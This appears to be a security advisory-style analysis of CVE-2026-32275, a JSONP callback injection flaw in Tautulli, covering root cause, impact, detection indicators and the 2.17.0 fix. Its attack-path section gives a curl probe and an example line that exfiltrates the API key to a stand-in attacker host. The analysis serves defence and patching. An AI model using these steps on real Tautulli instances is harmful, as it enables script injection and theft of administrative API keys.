CVE-2026-32275: 
NixOS vulnerability analysis and mitigation

CVE-2026-32275 is an unsanitized JSONP callback parameter vulnerability in Tautulli, a Python-based monitoring and tracking tool for Plex Media Server, that allows cross-origin script injection and API key theft. It affects Tautulli versions from 1.3.10 up to (but not including) 2.17.0. The vulnerability was published on March 30, 2026, and patched in version 2.17.0 released March 28, 2026. It carries a CVSS v3.1 base score of 9.1 (Critical) and a CVSS v4.0 score of 7.4 (High) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-site Scripting). In plexpy/api2.py at line 696, the callback query parameter is concatenated directly into an application/javascript response without any validation or sanitization: out = self._api_callback + '(' + out + ');'. Compounding the issue, three API commands — get_apikey, docs, and docs_md — bypass API key authentication entirely (api2.py:145), making them reachable without credentials. This enables two attack paths: (1) arbitrary JavaScript injection via any JSONP-capable endpoint (affecting all installs), and (2) cross-origin API key theft via the get_apikey command on instances without HTTP password protection (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into a victim's browser via a malicious page loading a crafted Tautulli JSONP URL, compromising confidentiality and integrity. On instances without HTTP password authentication, attackers can additionally steal the Tautulli API key cross-origin, which grants full administrative access to the Tautulli API — enabling control over monitoring configurations, access to Plex usage data, and potential pivoting to connected Plex infrastructure. There is no direct availability impact, but API key compromise could facilitate persistent unauthorized access (GitHub Advisory).

A self-contained HTML proof-of-concept (poc_jsonp.html) demonstrating both JavaScript injection and cross-origin API key theft is publicly available in the GitHub Security Advisory. The advisory includes concrete reproduction steps including a curl command (curl -si 'http://TAUTULLI:8181/api/v2?cmd=docs&callback=alert(1)//') that confirms the injection. The EPSS score is approximately 0.047%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. No specific threat actor attribution has been reported (GitHub Advisory).

1. Reconnaissance: Identify Tautulli instances (versions 1.3.10–2.16.x) exposed on the network, commonly running on port 8181. Tools like Shodan or internal network scanning can locate instances, including those without HTTP password protection.
2. Verify JSONP injection: Send a crafted request to an unauthenticated endpoint: curl -si 'http://TAUTULLI:8181/api/v2?cmd=docs&callback=alert(1)//'. Confirm the response has Content-Type: application/javascript and the body begins with the unsanitized callback payload.
3. Craft malicious page for JavaScript injection (Impact A): Host an attacker-controlled page that loads the Tautulli JSONP URL as a <script> tag with a malicious callback payload. When a victim visits the page, the injected JavaScript executes in their browser context.
4. Steal API key via JSONP (Impact B — unauthenticated installs): On instances without HTTP password, define a JavaScript function named after the JSONP callback, then load http://TAUTULLI:8181/api/v2?cmd=get_apikey&callback=steal as a script. The browser executes the response, calling steal() with the API key, which is exfiltrated to an attacker-controlled server (e.g., via new Image().src = 'https://attacker.example.com/?k=' + r.response.data).
5. Leverage stolen API key: Use the exfiltrated API key to make authenticated API calls to Tautulli, gaining full administrative control over the instance and its data (GitHub Advisory).

• Network: HTTP GET requests to /api/v2 with a callback parameter containing non-identifier characters (e.g., parentheses, spaces, special characters) such as callback=alert(1)// or callback=steal; outbound requests from victim browsers to unknown external hosts with query parameters containing API key values.
• Logs: Tautulli access logs showing repeated requests to /api/v2?cmd=docs, /api/v2?cmd=get_apikey, or /api/v2?cmd=docs_md with unusual or encoded callback parameter values from external or unexpected IP addresses.
• API Activity: Unexpected authenticated API calls using a valid API key from unfamiliar IP addresses or at unusual times, suggesting the key may have been stolen and reused.

Upgrade Tautulli to version 2.17.0 or later, which validates the callback parameter against a strict allowlist of identifier characters (^[a-zA-Z_$][a-zA-Z0-9_$.]*$) and removes the get_apikey API command entirely. Organizations should also rotate any potentially compromised API keys and review API access logs for suspicious activity. As an interim network-level control, restrict access to Tautulli instances (port 8181) to trusted internal networks only and enable HTTP password authentication if not already configured (GitHub Advisory, Tautulli v2.17.0 Release).

The vulnerability was discovered and reported by security researcher mandreko, who also reported several other vulnerabilities fixed in the same Tautulli v2.17.0 release (including SQL injection CVE-2026-31799 and an unauthenticated endpoint CVE-2026-31804). The Tautulli maintainer (JonnyWong16) published the advisory and patch promptly. The v2.17.0 release notes explicitly note that "several security vulnerabilities have been identified in Tautulli versions <=2.16.1" and strongly encourage users to update (Tautulli v2.17.0 Release, GitHub Advisory).